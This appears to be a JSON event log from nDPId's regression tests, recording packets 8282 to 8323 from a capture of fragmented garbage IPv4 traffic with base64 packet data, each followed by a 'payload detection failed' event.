+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604820,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604862,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605226,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605239,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 